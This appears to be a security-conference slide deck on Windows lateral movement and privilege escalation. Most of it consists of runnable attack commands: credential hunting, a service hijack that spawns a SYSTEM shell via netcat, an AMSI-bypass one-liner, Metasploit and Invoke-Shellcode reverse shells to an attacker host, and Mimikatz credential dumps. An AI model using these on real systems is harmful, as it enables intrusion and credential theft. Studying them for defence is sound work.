Lateral Movement
How attackers quietly transverse your Networks
About Xavier

• Currently VP of Drawbridge Networks
• Hacking since the late 80s
• First half my career was implementing Security
• Second half career is security consulting, VARs, and Vendors
• Georgia Institute Of Technology: Computer Engineering with International Affairs minor
Kill Chain is outdated

Recon
Weaponize

Delivery
Exploit

Install
C&C

Action
Kill Chain, Updated

- Recon
- Delivery
- Exploit
- Persistence
- Lateral Movement
- Action

Weaponize
Exploit
Lateral Movement

Hacker | Halted
What is Lateral Movement?
Three Types of Recon

• Passive Information Gathering
• Semi-passive Information Gathering
• Active Information Gathering
You’ve got remote shell, now what?

- systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- hostname
- echo %username%
- net users
- net user <username>
- echo %userdomain%
- echo %userdnsdomain%
- nslookup -querytype=SRV _LDAP._TCP.DC._MSDCS.<domain>

- net start
- ipconfig /all
- route print
- arp -A
- netstat -ano
- netsh firewall show state
- netsh firewall show config
- schtasks /query /fo LIST /v
- tasklist /SVC
- DRIVERQUERY
Find the Domain Controllers
Service Principal Names (SPNs)

• Find SPNs linked to a certain computer
  `setspn -L <ServerName>`

• Find SPNs linked to a certain user account
  `setspn -L <domain\user>`

• Powershell
  `Get-NetUser -SPN`
Privilege Escalation

• Look for missing patches, known exploits
• Look in automated install answer files for passwords
• Get saved passwords from Group Policy (metaploit or Get-GPPPassword)
• Look for registry setting "AlwaysInstallElevated"
  • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
• Hail Mary
  • dir /s *pass* == *cred* == *vnc* == *.config*
  • findstr /si password *.xml *.ini *.txt
  • reg query HKLM /f password /t REG_SZ /s
  • reg query HKCU /f password /t REG_SZ /s
Privilege Escalation - Advanced

• Vulnerable Windows Services
• DLL hijacking using vulnerable folders in the PATH
• Replace executable with existing scheduled task.
Privilege Escalation – Hacking a Service

```
C:\>nc.exe -lvp 9988
Listening on (localip) 9988
DNS fwd/rev mismatch: localhost != b33f-n5p4v4wvre4w
connect to (127.0.0.1) from localhost: 127.0.0.1 1043
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>net start upnhost
Servicing host successful

C:\>se config upnhost binpath="C:\nc.exe -nv 127.0.0.1 9988 -e C:\\WINDOWS\\System32\\cmd.exe"
[SC] ChangeServiceConfig SUCCESS

C:\>se config upnhost obj="\\LocalSystem" password=""
[SC] ChangeServiceConfig SUCCESS

C:\>net start upnhost
```

Windows Task Manager:
- Processes:
  - cmd.exe: User: Administrator, CPU: 2,091%, Memory: 5,113 KB
  - cmd.exe: User: SYSTEM, CPU: 99.6%, Memory: 5,492 KB

```cmd (running as B33F-N5P4V4WV4l\userXP)```
Or just run PowerUp (Invoke-AllChecks)

- if you are an admin in a medium integrity process (exploitable with `bypassuac`)
- for any unquoted service path issues
- for any services with misconfigured ACLs (exploitable with `service_*`)
- any improper permissions on service executables (exploitable with `service_exe_*`)
- for any leftover unattend.xml files
- if the `AlwaysInstallElevated` registry key is set
- if any Autologon credentials are left in the registry
- for any encrypted web.config strings and application pool passwords
- for any `%PATH% .DLL hijacking opportunities (exploitable with `write_dllhijacker`
PowerShell

There are a number of reasons why attackers love PowerShell:

• Run code in memory without touching disk
• Download & execute code from another system
• Direct access to .NET & Win32 API
• Built-in remoting
• CMD.exe is commonly blocked, though not PowerShell
• Most organizations are not watching PowerShell activity
• Many endpoint security products don’t have visibility into PowerShell activity
PowerShell v5 Security Enhancements

- Script block logging
- System-wide transcripts
- Constrained PowerShell enforced with AppLocker
- The Anti-Malware Scan Interface (AMSI)

There are two primary methods of bypassing AMSI (at least for now):
  - Provide & use a custom amsi.dll and call that one from custom EXE.
  - Matt Graeber described how to use reflection to bypass AMSI

```csharp
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic, Static').SetValue($null, $true)
```
Remote Access with no hit to Disk

Create Shellcode from Metasploit

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST <Your local host>
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit

Powershell Shellcode Injection

Invoke-ShellCode -Payload windows/meterpreter/reverse_https -Lhost <malicious IP> -Lport 443 -Force
PowerSploit

- Invoke-DllInjection.ps1
- Invoke-Shellcode.ps1
- Invoke-WmiCommand.ps1
- Get-GPPPassword.ps1
- Get-Keystrokes.ps1
- Get-TimedScreenshot.ps1
- Get-VaultCredential.ps1
- Invoke-CredentialInjection.ps1
- Invoke-Mimikatz.ps1
- Invoke-NinjaCopy.ps1
- Invoke-TokenManipulation.ps1
- Out-Minidump.ps1
- VolumeShadowCopyTools.ps1
- Invoke-ReflectivePEInjection.ps1
Invoke-Mimikatz

Authentication Id : 0 ; 1185575902 (00000000:46aa73de)
Session : RemoteInteractive from 5
User Name : xavier
Domain : DISTRO
Logon Server : UNITEDSTATES01
Logon Time : 9/13/2016 6:17:31 PM
SID : S-1-5-21-95346700-3989945768-2848222185-5178

msv :
[00000003] Primary
* Username : xavier
* Domain : DISTRO
* NTLM : 72ac43cadaaba3cbdcdb18c8c8262f70
* SHA1 : 7fb82774552ea11467b60b5657ab8fbd4b8037d4

Credential Keys
* NTLM : 72ac43cadaaba3cbdcdb18c8c8262f70
* SHA1 : 7fb82774552ea11467b60b5657ab8fbd4b8037d4
tspkg :
* Username : xavier
* Domain : DISTRO
* Password : Change this Password now!
wdigest :
* Username : xavier
* Domain : DISTRO
* Password : (null)
kerberos :
* Username : xavier
* Domain : DISTRO.DBNTEST.NET
* Password : (null)
ssp :
credman :
Invoke-Mimikatz -dumpcreds Out-File -Append c:\evilplace\$env:computername.txt
Other Ways to get Domain Admin

- Passwords in SYSVOL & Group Policy Preferences
- Exploit the MS14-068 Kerberos Vulnerability on a Domain Controller Missing the Patch
- Kerberos TGS Service Ticket Offline Cracking (Kerberoast)
- Gain Access to the Active Directory Database File (ntds.dit)
- Compromise an account with rights to logon to a Domain Controller
  - Then run Mimicatz
PowerShell Empire

Capabilities:

• PowerShell based Remote Access Trojan (RAT).
• Python server component (Kali Linux).
• AES Encrypted C2 channel.
• Dumps and tracks credentials in database.
Nishang

• Check-VM

• Remove-Update

• Invoke-CredentialsPhish
Use for AV Bypass. Build tool for new encrypted exe every time.

Contains
• PowerTools
• PowerUp
• PowerView
• Nishang
• Powercat
• Inveigh

Powersploit:
• Invoke-Mimikatz
• Get-GPPPassword
• Invoke-NinjaCopy
• Invoke-Shellcode
• Invoke-WMICommand
• VolumeShadowCopyTools
References

• Active Directory Security: https://adsecurity.org
• Remote Access PowerShell with Metasploit http://www.redblue.team/2016/01/powershell-traceless-threat-and-how-to.html
• No Domain Admin yet? https://365lab.net/tag/invoke-mimikatz/
• Privilege Escalation: http://www.fuzzysecurity.com/tutorials/16.html
• PowerUp: http://www.powershellempire.com/?page_id=378
• PowerSploit: https://github.com/PowerShellMafia/PowerSploit
• Mimikatz: https://github.com/gentilkiwi/mimikatz
• PowerShell Empire: https://github.com/powershellempire/empire
• Nishang: https://github.com/samratashok/nishang
• PS>Attack: https://github.com/jaredhaight/psattack